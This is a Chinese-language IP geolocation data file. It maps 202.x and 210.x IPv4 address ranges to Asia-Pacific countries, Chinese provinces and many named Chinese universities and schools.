202.014.101.000__202.014.101.255__澳大利亚____
202.014.102.000__202.014.102.255__新西兰____
202.014.103.000__202.014.103.255__南朝鲜____
202.014.104.000__202.014.105.255__澳大利亚____
202.014.106.000__202.014.109.255__新西兰____
202.014.110.000__202.014.113.255__澳大利亚____
202.014.114.000__202.014.115.255__新西兰____
202.014.116.000__202.014.116.255__澳大利亚____
202.014.117.000__202.014.117.255__泰国____
202.014.118.000__202.014.126.255__澳大利亚____
202.014.127.000__202.014.127.255__新西兰____
202.014.128.000__202.014.134.255__澳大利亚____
202.014.135.000__202.014.136.255__新西兰____
202.014.137.000__202.014.139.255__澳大利亚____
202.014.140.000__202.014.142.255__新西兰____
202.014.143.000__202.014.148.255__澳大利亚____
202.014.149.000__202.014.150.255__新西兰____
202.014.151.000__202.014.152.255__澳大利亚____
202.014.153.000__202.014.154.255__新加坡____
202.014.155.000__202.014.161.255__澳大利亚____
202.014.162.000__202.014.164.255__泰国____
202.014.165.000__202.014.165.255__南朝鲜____
202.014.166.000__202.014.166.255__澳大利亚____
202.014.167.000__202.014.168.255__新西兰____
202.014.169.000__202.014.215.255__澳大利亚____
202.014.216.000__202.014.218.255__新西兰____
202.014.219.000__202.014.221.255__澳大利亚____
202.014.222.000__202.014.222.255__香港____
202.014.223.000__202.014.223.255__澳大利亚____
202.014.224.000__202.014.228.255__新西兰____
202.014.229.000__202.014.234.255__澳大利亚____
202.014.235.000__202.014.238.255__华北计算技术研究所____
202.014.239.000__202.014.251.255__澳大利亚____
202.014.252.000__202.014.254.255__新西兰____
202.015.000.000__202.019.255.255__日本____
202.020.000.000__202.020.007.255__新西兰____
202.020.008.000__202.020.031.255__澳大利亚____
202.020.032.000__202.020.065.255__新西兰____
202.020.066.000__202.020.066.255__香港____
202.020.067.000__202.020.068.255__泰国____
202.020.069.000__202.020.075.255__澳大利亚____
202.020.076.000__202.020.080.255__新西兰____
202.020.081.000__202.020.081.255__澳大利亚____
202.020.082.000__202.020.086.255__南朝鲜____
202.020.087.000__202.020.087.255__泰国____
202.020.088.000__202.020.089.255__香港____
202.020.090.000__202.020.090.255__日本____
202.020.091.000__202.020.093.255__新西兰____
202.020.094.000__202.020.095.255__香港____
202.020.096.000__202.020.097.255__新西兰____
202.020.098.000__202.020.098.255__香港____
202.020.099.000__202.020.099.255__南朝鲜____
202.020.100.000__202.020.101.255__香港____
202.020.102.000__202.020.104.255__新西兰____
202.020.105.000__202.020.105.255__泰国____
202.020.106.000__202.020.109.255__印度尼西亚____
202.020.110.000__202.020.110.255__日本____
202.020.111.000__202.020.111.255__香港____
202.020.112.000__202.020.112.255__关岛____
202.020.113.000__202.020.113.255__新西兰____
202.020.114.000__202.020.116.255__新加坡____
202.020.117.000__202.020.118.255__香港____
202.020.119.000__202.020.119.255__南朝鲜____
202.020.120.000__202.020.120.255__北京地震所____
202.020.121.000__202.020.122.255__新西兰____
202.020.123.000__202.020.124.255__日本____
202.020.125.000__202.020.127.255__香港____
202.020.128.000__202.021.007.255__南朝鲜____
202.021.008.000__202.021.015.255__澳大利亚____
202.021.016.000__202.021.111.255__新西兰____
202.021.112.000__202.021.127.255__日本____
202.021.128.000__202.021.128.255__香港____
202.021.130.000__202.021.133.255__新西兰____
202.021.134.000__202.021.135.255__泰国____
202.021.138.000__202.021.139.255__新西兰____
202.021.140.000__202.021.140.255__泰国____
202.021.141.000__202.021.143.255__新西兰____
202.021.144.000__202.021.144.255__泰国____
202.021.145.000__202.021.146.255__新加坡____
202.021.147.000__202.021.147.255__印度____
202.021.148.000__202.021.148.255__马来西亚____
202.021.149.000__202.021.149.255__泰国____
202.021.150.000__202.021.153.255__日本____
202.021.154.000__202.021.154.255__新加坡____
202.021.155.000__202.021.157.255__新西兰____
202.021.192.000__202.021.255.255__新加坡____
202.022.000.000__202.022.007.255__新西兰____
202.022.008.000__202.022.015.255__泰国____
202.022.016.000__202.022.031.255__新西兰____
202.022.064.000__202.022.127.255__日本____
202.022.128.000__202.022.159.255__新喀里多尼亚____
202.022.224.000__202.022.255.255__上海____
202.023.000.000__202.026.255.255__日本____
202.027.000.000__202.027.015.255__新西兰____
202.027.016.000__202.027.031.255__新加坡____
202.027.032.000__202.027.255.255__新西兰____
202.028.000.000__202.029.255.255__泰国____
202.030.000.000__202.031.255.255__南朝鲜____
202.032.000.000__202.035.255.255__日本____
202.036.000.000__202.037.255.255__新西兰____
202.038.000.000__202.038.001.255__复旦大学____
202.038.002.000__202.038.003.255__南京大学____
202.038.004.000__202.038.007.255__上海____
202.038.008.000__202.038.015.255__北京____
202.038.032.000__202.038.047.255__北京____
202.038.064.000__202.038.096.255__中国科技大学____
202.038.126.000__202.038.127.255__北京____
202.038.096.000__202.038.127.255__中国教育网____
202.038.128.000__202.038.129.255__北京____
202.038.130.000__202.038.131.255__云南大学____
202.038.132.000__202.038.134.255__上海____
202.038.135.000__202.038.135.255__上海交通大学____
202.038.136.000__202.038.138.255__北京____
202.038.140.000__202.038.141.255__广东汕头大学____
202.038.142.000__202.038.142.255__北京邮电管理学院____
202.038.143.000__202.038.143.255__南京大学____
202.038.146.000__202.038.147.255__北京____
202.038.149.000__202.038.153.255__北京____
202.038.154.000__202.038.155.255__广东____
202.038.156.000__202.038.156.255__山东____
202.038.160.000__202.038.161.255__北京____
202.038.164.000__202.038.167.255__吉林____
202.038.000.000__202.038.255.255__中国____
202.000.000.000__202.000.009.255__澳大利亚____
202.000.010.000__202.000.010.255__新西兰____
202.000.011.000__202.000.015.255__澳大利亚____
202.000.016.000__202.000.031.255__菲律宾____
202.000.032.000__202.000.063.255__新西兰____
202.000.064.000__202.000.064.255__澳大利亚____
202.000.065.000__202.000.066.255__日本____
202.000.067.000__202.000.070.255__澳大利亚____
202.000.071.000__202.000.071.255__新加坡____
202.000.072.000__202.000.073.255__日本____
202.000.074.000__202.000.075.255__澳大利亚____
202.000.076.000__202.000.076.255__日本____
202.000.077.000__202.000.078.255__香港____
202.000.079.000__202.000.079.255__泰国____
202.000.080.000__202.000.080.255__巴布亚新几内亚____
202.000.081.000__202.000.081.255__印度尼西亚____
202.000.082.000__202.000.082.255__澳大利亚____
202.000.082.000__202.000.083.255__澳大利亚____
202.000.083.000__202.000.083.255__澳大利亚____
202.000.084.000__202.000.084.255__新西兰____
202.000.085.000__202.000.087.255__澳大利亚____
202.000.088.000__202.000.089.255__新加坡____
202.000.090.000__202.000.092.255__澳大利亚____
202.000.093.000__202.000.093.255__日本____
202.000.094.000__202.000.094.255__马来西亚____
202.000.095.000__202.000.096.255__澳大利亚____
202.000.097.000__202.000.097.255__新西兰____
202.000.098.000__202.000.099.255__澳大利亚____
202.000.100.000__202.000.100.255__香港____
202.000.101.000__202.000.102.255__澳大利亚____
202.000.103.000__202.000.103.255__印度尼西亚____
202.000.104.000__202.000.104.255__香港____
202.000.105.000__202.000.109.255__澳大利亚____
202.000.110.000__202.000.110.255__中国____
202.000.111.000__202.000.111.255__泰国____
202.000.112.000__202.000.112.255__香港____
202.000.113.000__202.000.115.255__澳大利亚____
202.000.116.000__202.000.116.255__印度尼西亚____
202.000.117.000__202.000.120.255__泰国____
202.000.121.000__202.000.121.255__新西兰____
202.000.122.000__202.000.123.255__香港____
202.000.124.000__202.000.125.255__新西兰____
202.000.127.000__202.000.127.255__新加坡____
202.000.128.000__202.000.147.255__香港____
202.000.148.000__202.000.148.255__澳大利亚____
202.000.149.000__202.000.150.255__新加坡____
202.000.151.000__202.000.151.255__新西兰____
202.000.152.000__202.000.152.255__新加坡____
202.000.153.000__202.000.153.255__新西兰____
202.000.154.000__202.000.154.255__澳大利亚____
202.000.156.000__202.000.159.255__新喀里多尼亚____
202.000.160.000__202.000.183.255__香港____
202.000.188.000__202.000.255.255__美国____
202.001.000.000__202.001.004.255__澳大利亚____
202.000.000.000__202.255.255.255__未知地区____
210.000.000.000__210.000.031.255__澳大利亚____
210.007.128.000__210.007.255.255__日本____
210.008.000.000__210.009.255.255__澳大利亚____
210.012.000.000__210.012.003.031__北京____
210.012.003.032__210.012.003.095__山东____
210.012.004.000__210.012.004.255__河南____
210.012.005.000__210.012.007.255__北京____
210.012.008.000__210.012.008.255__四川____
210.012.009.000__210.012.009.255__福建____
210.012.010.000__210.012.010.255__广东____
210.012.011.000__210.012.012.255__吉林____
210.012.013.000__210.012.013.255__山西____
210.012.014.000__210.012.014.255__河北____
210.012.015.000__210.012.015.255__山东____
210.012.016.000__210.012.016.063__湖北____
210.012.016.064__210.012.017.255__山东____
210.012.018.000__210.012.018.007__广西____
210.012.019.000__210.012.019.031__陕西____
210.012.020.000__210.012.020.255__湖北____
210.012.023.000__210.012.023.255__陕西____
210.012.024.000__210.012.024.255__辽宁____
210.012.025.000__210.012.026.127__天津____
210.012.027.000__210.012.027.255__江苏____
210.012.028.000__210.012.028.255__吉林____
210.012.029.000__210.012.029.255__中国____
210.012.030.000__210.012.030.255__黑龙江____
210.012.031.000__210.012.031.255__山东____
210.012.033.000__210.012.033.255__新疆____
210.012.034.000__210.012.034.255__辽宁____
210.012.035.000__210.012.035.127__山西____
210.012.036.000__210.012.036.255__北京____
210.012.037.000__210.012.037.255__山西____
210.012.038.000__210.012.038.095__北京____
210.012.039.000__210.012.039.255__吉林____
210.012.040.000__210.012.040.063__北京____
210.012.041.000__210.012.041.255__黑龙江____
210.012.042.000__210.012.042.255__北京____
210.012.043.000__210.012.043.255__黑龙江____
210.012.045.000__210.012.045.255__北京____
210.012.058.000__210.012.058.255__湖北____
210.012.059.000__210.012.059.255__湖南____
210.012.060.000__210.012.060.255__四川____
210.012.061.000__210.012.061.255__湖北____
210.012.062.000__210.012.062.255__四川____
210.012.063.000__210.012.063.255__湖南____
210.012.000.000__210.012.063.255__中国____
210.014.000.000__210.014.031.255__菲律宾____
210.014.224.000__210.014.226.255__广东____
210.014.249.000__210.014.249.255__云南____
210.014.250.000__210.014.250.255__贵州____
210.014.253.000__210.014.253.255__广东____
210.014.254.000__210.014.254.255__广东____
210.014.255.000__210.014.255.255__海南____
210.014.224.000__210.014.255.255__中国____
210.015.192.000__210.015.255.255__澳大利亚____
210.016.000.000__210.016.127.255__菲律宾____
210.017.000.000__210.017.127.255__台湾____
210.023.128.000__210.023.159.255__新加坡____
210.023.224.000__210.023.255.255__菲律宾____
210.024.000.000__210.024.255.255__新加坡____
210.026.000.000__210.026.015.255__西北民族学院____
210.026.016.000__210.026.023.255__兰州工业高等专科学校____
210.026.024.000__210.026.031.255__天水师范高等专科学校____
210.026.032.000__210.026.039.255__甘肃____
210.026.128.000__210.026.135.255__新疆广播电视大学____
210.026.136.000__210.026.143.255__新疆____
210.026.144.000__210.026.151.255__乌鲁木齐职业大学____
210.026.152.000__210.026.159.255__新疆生产建设兵团广播电视大学____
210.026.160.000__210.026.167.255__新疆农业科学院____
210.026.168.000__210.026.175.255__新疆医科大学____
210.026.176.000__210.026.191.255__塔里木农垦大学____
210.027.000.000__210.027.015.255__西安教育学院____
210.027.016.000__210.027.031.255__长庆石油勘探局通信处____
210.027.064.000__210.027.079.255__第二炮兵工程学院____
210.027.240.000__210.027.255.255__宁夏广播电视大学____
210.028.000.000__210.028.007.255__镇江医学院____
210.028.008.000__210.028.015.255__南京化工学校____
210.028.016.000__210.028.031.255__江南学院____
210.028.032.000__210.028.047.255__淮海工学院____
210.028.048.000__210.028.055.255__南京艺术学院____
210.028.056.000__210.028.063.255__镇江师范专科学校____
210.028.064.000__210.028.079.255__江苏____
210.028.080.000__210.028.087.255__南京经济学院____
210.028.088.000__210.028.091.255__南京人口管理干部学院____
210.028.092.000__210.028.093.255__南京审计学院____
210.028.096.000__210.028.111.255__南京机电学校____
210.028.112.000__210.028.119.255__苏州铁道师范学院____
210.028.120.000__210.028.127.255__江苏省邮电学校____
210.028.128.000__210.028.143.255__中国人民解放军通信工程学院____
210.028.144.000__210.028.159.255__无锡市科学技术委员会____
210.028.160.000__210.028.167.255__常熟高等专科学校____
210.028.168.000__210.028.171.255__南京铁路运输学校____
210.028.172.000__210.028.175.255__江苏省武进高级中学____
210.028.176.000__210.028.183.255__盐城师范专科学校____
210.028.184.000__210.028.191.255__南京市金陵职业大学____
210.028.192.000__210.028.207.255__南京建筑工程学院____
210.028.208.000__210.028.215.255__江苏公安专科学校____
210.028.216.000__210.028.223.255__江苏广播电视大学____
210.028.224.000__210.028.239.255__南通纺织工业学校____
210.028.240.000__210.028.255.255__南通工学院____
210.029.000.000__210.029.015.255__苏州城建环保学院____
210.029.016.000__210.029.031.255__南京机械高等专科学校____
210.029.032.000__210.029.047.255__江苏____
210.029.064.000__210.029.079.255__南通师范学院____
210.029.080.000__210.029.083.255__江苏省武进横林中学____
210.029.084.000__210.029.087.255__江苏省武进横山桥中学____
210.029.088.000__210.029.095.255__镇江市高等专科学校____
210.029.096.000__210.029.111.255__河海大学常州分校____
210.029.112.000__210.029.127.255__南京广播电视大学____
210.029.128.000__210.029.143.255__南京师范大学____
210.029.144.000__210.029.147.255__南京师范专科学校____
210.029.148.000__210.029.151.255__江苏省南通供销学校____
210.029.152.000__210.029.159.255__淮阴工业专科学校____
210.029.160.000__210.029.167.255__南京工业学校____
210.029.168.000__210.029.175.255__苏州医学院____
210.029.176.000__210.029.191.255__江苏省南通农业学校____
210.029.192.000__210.029.207.255__常州技术师范学院____
210.029.208.000__210.029.223.255__江苏省盐城纺织工业学校____
210.029.224.000__210.029.231.255__淮阴电子工业学校____
210.029.232.000__210.029.239.255__江苏省畜牧兽医学校____
210.029.240.000__210.029.255.255__南京大学____
210.030.000.000__210.030.015.255__大连民族学院____
210.030.016.000__210.030.019.255__辽宁____
210.032.000.000__210.032.015.255__浙江医科大学____
210.032.016.000__210.032.019.255__浙江中医学院____
210.032.020.000__210.032.023.255__浙江财经学院____
210.032.024.000__210.032.027.255__浙江丝绸工学院____
210.032.028.000__210.032.031.255__浙江水产学院____
210.032.032.000__210.032.039.255__杭州电子工业学院____
210.032.040.000__210.032.043.255__杭州师范学院____
210.032.048.000__210.032.051.255__杭州广播电视大学____
210.032.000.000__210.032.127.255__浙江____
210.032.128.000__210.032.159.255__浙江大学____
210.032.160.000__210.032.175.255__浙江农业大学____
210.032.176.000__210.032.191.255__杭州大学____
210.032.192.000__210.032.199.255__杭州金融管理干部学院____
210.032.200.000__210.032.207.255__浙江工业大学____
210.033.000.000__210.033.003.255__浙江高等公安专科学校____
210.033.004.000__210.033.007.255__杭州应用工程技术学院____
210.033.008.000__210.033.011.255__宁波高等专科学校____
210.033.012.000__210.033.015.255__浙江____
210.033.016.000__210.033.023.255__宁波大学____
210.033.024.000__210.033.027.255__绍兴文理学院____
210.033.028.000__210.033.031.255__嘉兴高等专科学院____
210.033.032.000__210.033.035.255__浙江嘉兴经济高等专科学校____
210.033.036.000__210.033.039.255__国家海洋局海洋二所____
210.033.040.000__210.033.043.255__中国计量学院____
210.033.044.000__210.033.047.255__温州大学____
210.033.048.000__210.033.051.255__浙江农村技术师范专科学校____
210.033.052.000__210.033.055.255__温州医学院____
210.033.056.000__210.033.059.255__湖州师范专科学校____
210.033.060.000__210.033.063.255__浙江林学院____
210.033.064.000__210.033.067.255__浙江广播电视大学萧山分校____
210.033.068.000__210.033.071.255__温州师范学院____
210.033.072.000__210.033.075.255__浙江水利水电专科学校____
210.033.076.000__210.033.079.255__浙江省科技情报所____
210.033.080.000__210.033.087.255__浙江师范大学____
210.033.088.000__210.033.095.255__杭州商学院____
210.033.096.000__210.033.097.255__杭州市第二中学____
210.033.098.000__210.033.099.255__浙江省义乌中学____
210.033.100.000__210.033.101.255__浙江省东阳中学____
210.033.102.000__210.033.103.255__浙江____
210.033.104.000__210.033.107.255__浙江省教育委员会____
210.033.108.000__210.033.109.255__浙江萧山中学____
210.033.110.000__210.033.111.255__浙江____
210.033.112.000__210.033.113.255__浙江省委党校____
210.033.112.000__210.033.115.255__中国美术学院____
210.033.114.000__210.033.115.255__浙江省余姚中学____
210.033.116.000__210.033.119.255__浙江广播电视大学____
210.033.120.000__210.033.123.255__浙江教育学院____
210.033.124.000__210.033.127.255__中国美术学院____
210.033.132.000__210.033.135.255__浙江省杭州学军中学____
210.033.136.000__210.033.139.255__浙江____
210.033.140.000__210.033.141.255__浙江省余杭市高级中学____
210.033.144.000__210.033.147.255__嘉兴广播电视大学____
210.033.248.000__210.033.255.255__仰恩大学____
210.034.000.000__210.034.023.255__厦门大学____
210.034.032.000__210.034.047.255__福建师范大学____
210.034.048.000__210.034.063.255__福州大学____
210.034.064.000__210.034.079.255__福建中医学院____
210.034.080.000__210.034.095.255__福建农业大学____
210.034.096.000__210.034.111.255__福建医科大学____
210.034.112.000__210.034.119.255__福建公安高等专科学校____
210.034.120.000__210.034.127.255__泉州师范高等专科学校____
210.034.128.000__210.034.143.255__集美航海学院____
210.034.144.000__210.034.159.255__集美大学____
210.034.160.000__210.034.175.255__厦门水产学院____
210.034.192.000__210.034.199.255__福建建筑高等专科学校____
210.034.200.000__210.034.207.255__北京邮电大学福州分校____
210.034.208.000__210.034.211.255__厦门医学院____
210.034.210.000__210.034.211.255__福建厦门大学东区____
210.034.212.000__210.034.215.255__鹭江职业大学____
210.034.216.000__210.034.219.255__福建____
210.034.224.000__210.034.227.255__莆田高等专科学校____
210.034.232.000__210.034.239.255__福建____
210.034.240.000__210.034.255.255__华侨大学____
210.035.000.000__210.035.003.255__南昌水利水电高等专科学校____
210.035.008.000__210.035.015.255__江西教育学院____
210.035.016.000__210.035.023.255__九江高等师范专科学校____
210.035.032.000__210.035.035.255__温州广播电视大学____
210.035.048.000__210.035.049.255__宁波广播电视大学____
210.035.050.000__210.035.051.255__上海____
210.035.052.000__210.035.055.255__浙江____
210.035.060.000__210.035.063.255__台州广播电视大学____
210.035.064.000__210.035.067.255__上海应用技术学院____
210.035.068.000__210.035.071.255__上海电机技术高等专科学校____
210.035.072.000__210.035.079.255__上海对外贸易学院____
210.035.080.000__210.035.083.255__上海市经济管理干部学院____
210.035.088.000__210.035.095.255__上海电力学院____
210.035.096.000__210.035.099.255__幽谷仙境____
210.035.100.000__210.035.103.255__立信会计高等专科学校____
210.035.104.000__210.035.107.255__上海商业职业技术学院____
210.035.124.000__210.035.127.255__上海____
210.035.128.000__210.035.143.255__江西农业大学____
210.035.144.000__210.035.151.255__江西医科大学____
210.035.160.000__210.035.167.255__江西师范大学____
210.035.168.000__210.035.171.255__江西____
210.035.176.000__210.035.183.255__江西中医学院____
210.035.192.000__210.035.207.255__江西财经大学____
210.035.208.000__210.035.215.255__宜春师范专科学校____
210.035.216.000__210.035.223.255__南方冶金学院____
210.035.224.000__210.035.239.255__江西广播电视大学____
210.035.240.000__210.035.255.255__南昌大学____
210.036.000.000__210.036.007.255__广西____
210.036.008.000__210.036.015.255__广西教育学院____
210.036.016.000__210.036.031.255__广西大学____
210.036.032.000__210.036.047.255__广西农业大学____
210.036.048.000__210.036.063.255__广西医科大学____
210.036.064.000__210.036.079.255__广西民族学院____
210.036.080.000__210.036.095.255__广西师范学院____
210.036.096.000__210.036.111.255__广西中医学院____
210.036.112.000__210.036.119.255__广西水电学院____
210.036.120.000__210.036.127.255__广西农业学院____
210.036.136.000__210.036.143.255__广西商业高等专科学校____
210.036.144.000__210.036.151.255__广西财政高等专科学校____
210.036.160.000__210.036.167.255__南宁职业大学____
210.036.168.000__210.036.175.255__邕江大学____
210.036.176.000__210.036.183.255__广西经济管理干部学院____
210.036.184.000__210.036.191.255__广西广播电视大学____
210.036.192.000__210.036.199.255__南宁市教育学院____
210.036.208.000__210.036.211.255__广西交通学校____
210.036.216.000__210.036.223.255__广西对外经济贸易学校____
210.036.244.000__210.036.247.255__南宁____
210.036.252.000__210.036.255.255__广西____
210.037.000.000__210.037.015.255__海南师范大学____
210.037.020.000__210.037.023.255__海南省考试局____
210.037.024.000__210.037.031.255__海南____
210.037.032.000__210.037.047.255__海南大学____
210.037.048.000__210.037.063.255__中国热带农业大学____
210.037.064.000__210.037.079.255__海南医学院____
210.037.080.000__210.037.095.255__海南省政府____
210.037.098.000__210.037.099.255__海南省第二卫生学校____
210.037.112.000__210.037.119.255__海南省教育学院____
210.037.120.000__210.037.127.255__海南省电视大学____
210.037.132.000__210.037.133.255__海南省卫生学校____
210.037.134.000__210.037.135.255__海南省海口市技工学校____
210.037.138.000__210.037.139.255__海南省海口市第七中学____
210.037.144.000__210.037.159.255__琼州大学____
210.037.164.000__210.037.165.255__海南省技工学校____
210.037.168.000__210.037.169.255__海南省粮食学校____
210.037.172.000__210.037.173.255__海南省琼山中学____
210.037.174.000__210.037.175.255__海南省琼山华侨中学____
210.037.186.000__210.037.187.255__海南省琼海万泉中学____
210.037.188.000__210.037.189.255__海南省琼海职工中学____
210.037.196.000__210.037.197.255__海南省三亚市第一中学____
210.037.198.000__210.037.199.255__海南省三亚市第二中学____
210.037.200.000__210.037.201.255__海南省三亚市第三中学____
210.037.204.000__210.037.205.255__海南省三亚市实验小学____
210.037.206.000__210.037.207.255__海南省三亚市第一小学____
210.037.210.000__210.037.211.255__海南省通什农校____
210.037.212.000__210.037.213.255__海南省民族师范学校____
210.037.214.000__210.037.215.255__海南省民族技工学校____
210.037.216.000__210.037.217.255__海南省华侨中学____
210.037.220.000__210.037.221.255__海南省文昌华侨中学____
210.037.222.000__210.037.223.255__海南省文昌中学____
210.037.228.000__210.037.229.025__海南省那大中学____
210.037.230.000__210.037.231.255__海南省那大二中____
210.037.232.000__210.037.233.255__海南省那大三中____
210.037.234.000__210.037.235.255__海南省那大四中____
210.037.236.000__210.037.237.255__海南省儋州市师范学校____
210.037.238.000__210.037.239.255__海南省儋州市卫生学校____
210.037.240.000__210.037.241.255__海南省海口市第一中学____
210.037.242.000__210.037.243.255__海南省农垦中学____
210.037.244.000__210.037.245.255__海南省海口实验中学____
210.037.246.000__210.037.247.255__海南省海口景山中学____
210.037.248.000__210.037.249.255__海南省海口市第十中学____
210.037.250.000__210.037.251.255__海南省海口市第九小学____
210.037.252.000__210.037.253.255__海南省海口市第二十五小学____
210.037.254.000__210.037.255.255__海南省海南立达学园____
210.038.000.000__210.038.007.255__广东____
210.038.024.000__210.038.031.255__广州美术学院____
210.038.032.000__210.038.047.255__广东省广播电视大学____
210.038.048.000__210.038.055.255__广东省对外贸易学校____
210.038.056.000__210.038.063.255__广州医学院____
210.038.064.000__210.038.079.255__广东教育学院____
210.038.080.000__210.038.083.255__广东省财政学校____
210.038.084.000__210.038.087.255__广州美国人国际学校____
210.038.096.000__210.038.111.255__广州中医药大学____
210.038.112.000__210.038.119.255__番禺理工学院____
210.038.120.000__210.038.123.255__南华工商学院____
210.038.124.000__210.038.127.255__广东省邮电学校____
210.038.128.000__210.038.143.255__湛江海洋大学____
210.038.144.000__210.038.151.255__湛江海洋大学____
210.038.152.000__210.038.159.255__顺德职业技术学院____
210.038.160.000__210.038.175.255__嘉应大学____
210.038.176.000__210.038.191.255__西江大学____
210.038.192.000__210.038.207.255__广东韶关大学____
210.038.208.000__210.038.223.255__韩山师范学院____
210.038.224.000__210.038.239.255__中山学院____
210.038.240.000__210.038.255.255__广东石油化工高等专科学校____
210.039.000.000__210.039.015.255__深圳大学____
210.039.032.000__210.039.039.255__深圳市高等职业技术学院____
210.039.048.000__210.039.063.255__深圳广播电视大学____
210.039.064.000__210.039.071.255__深圳外语学校____
210.039.072.000__210.039.073.255__广东____
210.039.076.000__210.039.079.255__广东航海高等专科学校____
210.039.080.000__210.039.083.255__广东金融高等专科学校____
210.039.084.000__210.039.087.255__私立培正商学院____
210.039.088.000__210.039.091.255__私立华联学院____
210.039.092.000__210.039.095.255__广东财税高等专科学校____
210.039.096.000__210.039.099.255__广东公安高等专科学校____
210.039.100.000__210.039.103.255__星海音乐学院____
210.039.104.000__210.039.111.255__深圳市委党校____
210.039.112.000__210.039.115.255__广州体育学院____
210.039.116.000__210.039.119.255__高州师范学校小教____
210.039.120.000__210.039.123.255__东莞师范学校小教____
210.039.124.000__210.039.127.255__新会师范学校小教____
210.039.128.000__210.039.131.255__广州师范学校小教____
210.039.132.000__210.039.135.255__广东外语师范学校____
210.039.136.000__210.039.139.255__佛山市教育委员会____
210.039.136.000__210.039.143.255__佛山教育学院____
210.039.144.000__210.039.151.255__惠阳师范专科学校____
210.039.152.000__210.039.159.255__惠州教育学院____
210.039.160.000__210.039.167.255__江门教育学院____
210.039.168.000__210.039.175.255__嘉应教育学院____
210.039.176.000__210.039.183.025__茂名教育学院____
210.039.184.000__210.039.187.255__中山师范学校____
210.039.188.000__210.039.191.255__南海师范学校____
210.039.192.000__210.039.199.255__韶关教育学院____
210.039.200.000__210.039.207.255__肇庆教育学院____
210.039.208.000__210.039.215.255__汕头教育学院____
210.039.216.000__210.039.223.255__湛江教育学院____
210.039.224.000__210.039.231.255__华南理工大学附属中学____
210.040.000.000__210.040.031.255__贵州大学____
210.040.032.000__210.040.047.255__贵州工业大学____
210.040.048.000__210.040.063.255__贵州农业学院____
210.040.064.000__210.040.079.255__贵州师范大学____
210.040.080.000__210.040.095.255__贵州财经学院____
210.040.096.000__210.040.111.255__贵州人民大学____
210.040.112.000__210.040.127.255__贵州____
210.040.240.000__210.040.247.255__云南交通学校____
210.040.252.000__210.040.255.255__云南省化工学校____
210.041.000.000__210.041.015.255__西藏大学____
210.041.016.000__210.041.019.255__西藏____
210.041.128.000__210.041.143.255__攀枝花大学____
210.041.152.000__210.041.159.255__绵阳师范专科学校____
210.041.160.000__210.041.175.255__乐山师范高等专科学校____
210.041.176.000__210.041.183.255__内江师范高等专科学校____
210.041.184.000__210.041.187.255__绵阳经济技术高等专科学校____
210.041.188.000__210.041.191.255__成都广播电视大学____
210.041.192.000__210.041.207.255__四川师范学院____
210.041.208.000__210.041.223.255__成都中医药大学____
210.041.224.000__210.041.239.255__成都气象学院____
210.041.240.000__210.041.255.255__西南石油学院____
210.042.008.000__210.042.015.255__陨阳师范高等专科学校____
210.042.016.000__210.042.023.255__湖北荆州师专____
210.042.024.000__210.042.031.255__武汉化工学院____
210.042.032.000__210.042.047.255__水利电力大学____
210.042.048.000__210.042.063.255__海军工程学院____
210.042.064.000__210.042.067.255__湖北省教育考试院____
210.042.068.000__210.042.071.255__湖北____
210.042.072.000__210.042.079.255__武汉教育学院____
210.042.080.000__210.042.087.255__湖北__武汉____
210.042.096.000__210.042.111.255__武汉城市建设学院____
210.042.112.000__210.042.127.255__湖北医科大学____
210.042.136.000__210.042.139.255__湖北省邮电学校____
210.042.140.000__210.042.141.255__湖北省教育委员会____
210.042.144.000__210.042.159.255__中南民族学院____
210.042.160.000__210.042.175.255__湖北广播电视大学____
210.042.176.000__210.042.191.255__湖南中医学院____
210.042.192.000__210.042.207.255__湖南广播电视大学____
210.042.208.000__210.042.223.255__中国人民解放军外国语学院____
210.042.224.000__210.042.239.255__河南财政税务高等专科学校____
210.042.240.000__210.042.255.255__河南师范大学____
210.043.000.000__210.043.015.255__洛阳工学院____
210.043.016.000__210.043.023.255__郑州工业高等专科学校____
210.043.024.000__210.043.031.255__信阳师范学院____
210.043.032.000__210.043.039.255__河南职业技术师范学院____
210.043.040.000__210.043.043.255__湖南省招生办公室____
210.043.044.000__210.043.047.255__湖南____
210.043.048.000__210.043.063.255__湖南财经学院____
210.043.064.000__210.043.079.255__吉首大学____
210.043.080.000__210.043.095.255__常德师范高等专科学校____
210.043.096.000__210.043.111.255__湖南计算机高等专科学校____
210.043.112.000__210.043.127.255__中南工学院____
210.043.128.000__210.043.143.255__华北水利水电学院____
210.043.144.000__210.043.147.255__河南____
210.043.152.000__210.043.159.255__湖南省交通学校____
210.043.160.000__210.043.175.255__怀化师范高等专科学校____
210.043.176.000__210.043.191.255__长沙电力学院____
210.043.192.000__210.043.207.255__长沙交通学院____
210.043.208.000__210.043.223.255__湘潭师范学院____
210.043.224.000__210.043.239.255__湖南农业大学____
210.043.240.000__210.043.247.255__中南林学院____
210.043.248.000__210.043.255.255__株洲工学院____
210.044.000.000__210.044.015.255__山东师范大学____
210.044.016.000__210.044.031.255__青岛大学____
210.044.032.000__210.044.039.255__山东水利专科学校____
210.044.040.000__210.044.047.255__山东公安专科学校____
210.044.048.000__210.044.063.255__莱阳农学院____
210.044.064.000__210.044.079.255__山东潍坊理工学院____
210.044.080.000__210.044.095.255__青岛建筑工程学院____
210.044.096.000__210.044.111.255__青岛化工学院____
210.044.112.000__210.044.127.255__聊城师范学院____
210.044.128.000__210.044.143.255__山东财政学院____
210.044.144.000__210.044.159.255__山东轻工学院____
210.044.160.000__210.044.175.255__山东中医药大学____
210.044.176.000__210.044.191.255__山东工程学院____
210.044.192.000__210.044.207.255__泰安师范专科学校____
210.044.208.000__210.044.223.255__山东医科大学____
210.044.224.000__210.044.231.255__山东省章丘市第四中学____
210.044.232.000__210.044.239.255__枣庄师范专科学校____
210.044.240.000__210.044.243.255__山东胶州市实验中学____
210.044.244.000__210.044.247.255__山东电力高等专科学校____
210.044.248.000__210.044.255.025__昌潍师范专科学校____
210.045.000.000__210.045.015.255__中国人民解放军炮兵学院____
210.045.016.000__210.045.031.255__安徽中医学院____
210.045.032.000__210.045.047.255__阜阳师范学院____
210.045.048.000__210.045.055.255__皖南医学院____
210.045.064.000__210.045.079.255__中国科学技术大学____
210.045.080.000__210.045.087.255__解放军电子工程学院____
210.045.088.000__210.045.095.255__芜湖师范专科学校____
210.045.096.000__210.045.111.255__安徽医科大学____
210.045.112.000__210.045.127.255__中国科大经济技术学院____
210.045.128.000__210.045.143.255__淮北煤炭师范学院____
210.045.144.000__210.045.159.255__淮南工业学院____
210.045.160.000__210.045.167.255__滁州师范专科学校____
210.045.168.000__210.045.175.255__安庆师范学院____
210.045.176.000__210.045.191.255__安徽农业大学____
210.045.192.000__210.045.207.255__安徽师范大学____
